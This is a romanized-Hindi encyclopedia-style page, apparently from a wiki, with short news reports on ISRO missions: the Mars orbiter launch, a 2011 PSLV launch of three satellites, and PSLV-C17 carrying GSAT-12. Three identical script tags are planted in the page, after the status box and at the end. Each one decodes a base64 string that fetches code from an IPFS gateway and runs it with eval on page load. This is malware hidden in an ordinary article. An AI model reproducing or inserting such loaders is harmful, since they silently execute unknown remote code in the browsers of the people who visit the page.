mangal grah ke lie apana pahala yan shriharikota se prakshepit kiya. mangalavar ko ise chho de jane ke bad se isaka niyantran baiangalor mean isaro ke vaijnanikoan ne apane hathoan mean le liya hai. is mangalayan ko prithvi ki kaksha chho dane se pahale paanch chakkar lagane haian, jisake bad yah 1 disanbar ko soory ki paridhi mean pravesh kar jaega. vahaan se lagabhag nau mahine bad yah yan mangal grah tak ki apani yatra poori kar paega. shriharikota se mangal mishan ki tasvirean desh ke aantariksh abhiyan ke gauravashali itihas ki kahani bayaan kar rahi haian. pieselavi si25 (PSLV C-25) 'mars aaurbitar' nam ke upagrah ko lekar aantariksh ke lie ravana ho gaya hai. is kamayabi ke sath hi bharat aantariksh mean nee ibarat likhane vala duniya ka chautha desh ban gaya hai.

uddeshy

isaro ka makasad hai ki is mishan ke zarie doosare grahoan ki p datal ki ghareloo takanik vikasit ki jae. mangalayan ke sitanbar 2014 tak mangal grah par pahuanchane ki ummid hai. isake bad pandrah kilo vazan ka ek aaurbitar mangal ke vatavaran mean l aaunch hoga. aaurbitar par lage seansar mangal grah ki mitti aur khanijoan aur vahaan maujood gaisoan ki jaanch kareange.

samachar ko vibhinn srotoan par padhean

pieselavi ne tin upagrahoan ko kiya aantariksh mean sthapit

budhavar, 20 aprॅl, 2011

aantariksh karyakramoan mean bharatiy vaijnanikoan ne phir kamayabi ka paracham laharaya hai. bharatiy aantariksh anusandhan (isaro) ke upagrah prakshepan yan 'pieselavi' ne 20 aprॅl, 2011 budhavar ko tin upagrahoan ko saphalatapoorvak aantariksh mean sthapit kar diya. gat varsh disanbar mean jieselavi ke prakshepan mean mili do lagatar viphalataoan ke bad isaro ki yah kamayabi behad aham hai. pieselavi ka yah 18vaan mishan tha. isase pahale pieselavi ke zariye kiye gaye 17 prakshepanoan mean se lagatar 16 mishan mean saphalata hasil huee thi, jisase isaki vishvasaniyata ka pata chalata hai. pieselavi ne saphalata ke kram ko banaye rakhate hue aj 17vean prakshepan ko bhi saphalatapoorvak aanjam diya.

samachar ko vibhinn srotoan par padhean

pieselavi-17 ka saphal prakshepan

shukravar, 15 julaee, 2011

thumb|pieselavi-17 bharatiy aantariksh anusandhan sangathan (isaro) ne shukravar, 15 julaee, 2011 ko pieselavi si-17 ke jarie jisait-12 e ka shriharikota se saphal prakshepan kiya. isaro ne ise bharatiy samayanusar sham 4.48 baje prakshepit kiya, jo apane nirdharit samay mean dharati ki kaksha mean sthapit ho gaya. jisait-12 sanchar setelait ka vazan 1410 kilogram hai aur isaka jivan kal ath saloan ka hoga. samachar ejeansi ke mutabiq isaro ke prakashan aur janasampark nideshak es. satish ne pahale hi is bat ki sanbhavana jataee thi ki prakshepan mean koee samasya nahian aegi. yah upagrah sanchar ke kshetr mean kafi mahattvapoorn sabit hoga. isase doorasth shiksha, doorasth chikitsa aur gram sansadhan keandr ko unnat banaya ja sakata hai.

samachar ko vibhinn srotoan par padhean


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. isaro ke bare mean (hindi) (e.es.pi) bharatiy aantariksh anusandhan sangathan. abhigaman tithi: 15 march, 2012.
  2. 2.0 2.1 2.2 aantariksh karyakram aur bharat (hindi) (e.es.pi) visfot d aaut k aaum. abhigaman tithi: 15 march, 2012.

bahari k diyaan

sanbandhit lekh


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>